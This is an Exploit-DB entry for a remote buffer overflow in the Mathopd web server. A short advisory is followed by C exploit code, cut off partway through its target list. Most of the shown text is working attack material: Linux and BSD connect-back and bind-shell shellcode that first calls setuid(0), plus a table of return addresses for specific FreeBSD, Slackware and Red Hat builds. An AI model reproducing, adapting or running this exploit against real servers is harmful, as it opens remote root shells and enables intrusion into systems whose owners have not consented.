Exploit-DB #23811
Description: MathoPD 1.x - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2003-11-02
Author: aion

Exploit:
// source: https://www.securityfocus.com/bid/9871/info


It has been reported that Mathopd is prone to a remote buffer overflow vulnerability. The issue arises due to a failure to check the bounds of a buffer storing user-supplied input.

It may be possible for attackers to leverage this vulnerability to execute arbitrary instructions on the affected system. Any code executed would be in the security context of the web server process.

//aionmex26.c
//
// mathopd 1.2/3/4/5b9 remote exploit
// discovered/exploit coded by aion
// (aion@ukr.net)
// (02/11/2003)
//^M
// need url that redirected
// in config look like this:
// Control {
// Alias /blablabla
// Location http://1.2.3.4
// }
//
// --- request.c:962 ----
// if (send_message) {
// b = buf;
// b += sprintf(b, "<title>%s</title>\n"
// "<h1>%s</h1>\n", r->status_line, r->status_line);
//
// ... and i realy need a job ...
//

#include <arpa/inet.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#define MAXB 1024*8
#define TIMEOUT 5
#define DELAY 100000
#define CLOSE(x) { if(x) { close(x); x=0;}}
#define FREE(x) { if(x) { free(x); x=NULL;}}
#define debug(x,y) { errno=0; y; perror(x); if(errno) exit(0);}

char x86_linux_connback[] =
/* 0x3f = 0x3e + incl %eax - parse avoid by aion */
// setuid(0), setgid(0)
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
/* linux x86 connect back (port=0xb0ef) by eSDee of Netric */
        "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
        "\x06\x51\xb1\x01\x51\xb1\x02\x51"
        "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
        "\x89\xc2\x31\xc0\x31\xc9\x51\x51"
        "\x68\x41\x42\x43\x44\x66\x68\xb0"
        "\xef\xb1\x02\x66\x51\x89\xe7\xb3"
        "\x10\x53\x57\x52\x89\xe1\xb3\x03"
        "\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
        "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
        "\x31\xc0\xb0\x3e\x40\x89\xd3\xcd\x80"
        "\x31\xc0\xb0\x3e\x40\x89\xd3\xb1\x01"
        "\xcd\x80\x31\xc0\xb0\x3e\x40\x89\xd3"
        "\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
        "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
        "\x2f\x62\x69\x89\xe3\x50\x53\x89"
        "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";

char x86_linux_bindshell[] =
// setuid(0), setgid(0)
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
/* by morgan@sexter.com (36864) */
/* 0x3f = 0x3e + incl %eax - once again by aion */
"\xeb\x75\x5e\x29\xc0\x89\x46\x10\x40\x89"
"\xc3\x89\x46\x0c\x40\x89\x46\x08\x8d\x4e"
"\x08\xb0\x66\xcd\x80\x43\xc6\x46\x10\x10"
"\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89"
"\xc2\x89\x46\x18\xb0\x90\x66\x89\x46\x16"
"\x8d\x4e\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
"\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66"
"\x43\xcd\x80\x86\xc3\xb0\x3e\x40\x29\xc9"
"\xcd\x80\xb0\x3e\x40\x41\xcd\x80\xb0\x3e"
"\x40\x41\xcd\x80\x88\x56\x07\x89\x76\x0c"
"\x87\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80\xe8"
"\x86\xff\xff\xff/bin/sh";

/* x86/bsd PIC portshell shellcode
 * by lorian/teso * port 0x4444
 */
unsigned char x86_bsd_portshell[] =
/* + setuidcode 7 bytes */
  "\x33\xc0\x50\xb0\x17\x50\xcd\x80"
  "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
  "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
  "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
  "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
  "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
  "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
"\x80";

char x86_bsd_connback[] =
/* BSD x86 connect back (port=0xb0ef) by eSDee of Netric */
        "\x31\xc0\x31\xdb\x53\xb3\x06\x53"
        "\xb3\x01\x53\xb3\x02\x53\x54\xb0"
        "\x61\xcd\x80\x31\xd2\x52\x52\x68"
        "\x41\x41\x41\x41\x66\x68\xb0\xef"
        "\xb7\x02\x66\x53\x89\xe1\xb2\x10"
        "\x52\x51\x50\x52\x89\xc2\x31\xc0"
        "\xb0\x62\xcd\x80\x31\xdb\x39\xc3"
        "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
        "\x31\xc0\x50\x52\x50\xb0\x5a\xcd"
        "\x80\x31\xc0\x31\xdb\x43\x53\x52"
        "\x50\xb0\x5a\xcd\x80\x31\xc0\x43"
        "\x53\x52\x50\xb0\x5a\xcd\x80\x31"
        "\xc0\x50\x68\x2f\x2f\x73\x68\x68"
        "\x2f\x62\x69\x6e\x89\xe3\x50\x54"
        "\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
"\xb0\x01\xcd\x80";

struct targets {
  char *type;
  unsigned long ret_addr;
  int bsize;
  int retfill;
} tlist[] = {
  { "1.2pl7 freebsd 4.6 (0)", 0xbfbff6f8, 800, 50 },
  { "1.3pl7 freebsd 4.6 (0)", 0xbfbff6e8, 800, 50 },
  { "1.4p1 freebsd 4.6 (0)", 0xbfbff7fc, 800, 50 },

  { "1.2pl7 freebsd 4.6 (1)", 0xbfbff6c0, 800, 50 },
  { "1.3pl7 freebsd 4.6 (1)", 0xbfbff6b0, 800, 50 },
  { "1.4p1 freebsd 4.6 (1)", 0xbfbff7c0, 800, 50 },

  { "1.2pl7 freebsd 4.6 (2)", 0xbfbff640, 800, 50 },
  { "1.3pl7 freebsd 4.6 (2)", 0xbfbff630, 800, 50 },
  { "1.4p1 freebsd 4.6 (2)", 0xbfbff744, 800, 50 },

  { "1.2pl7 freebsd 4.8\t", 0xbfbff640, 800, 50 },
  { "1.3pl7 freebsd 4.8\t", 0xbfbff630, 800, 50 },
  { "1.4p1 freebsd 4.8\t", 0xbfbff740, 800, 50 },

  { "1.2pl7 freebsd 4.9\t", 0xbfbff610, 800, 50 },
  { "1.3pl7 freebsd 4.9\t", 0xbfbff600, 800, 50 },
  { "1.4p1 freebsd 4.9\t", 0xbfbff710, 800, 50 },

  { "1.2pl7 freebsd 5.1\t", 0xbfbff5b0, 800, 50 },
  { "1.3pl7 freebsd 5.1\t", 0xbfbff5a0, 800, 50 },
  { "1.4p1 freebsd 5.1\t", 0xbfbff6b0, 800, 50 },

  { "1.2pl7 slackware 7.1.0", 0xbffff92c, 800, 50 },
  { "1.3pl7 slackware 7.1.0", 0xbffff91c, 800, 50 },
  { "1.4p1 slackware 7.1.0", 0xbffffa24, 800, 50 },

  { "1.2pl7 red hat 6.0\t", 0xbffff8dc, 800, 50 },
  { "1.3pl7 red hat 6.0\t", 0xbffff8dc, 800, 50 },
  { "1.4p1 red hat 6.0\t", 0xbffff9c4, 800, 50 },

  { "1.2pl7 red hat 9 (dynamic 0)", 0xbfffd9c0, 800, 50 },
  { "1.3pl7 red hat 9 (dynamic 0)", 0xbfffe130, 800, 50 },
  { "1.4p1 red hat 9 (dynamic 0)", 0xbfffecd0, 8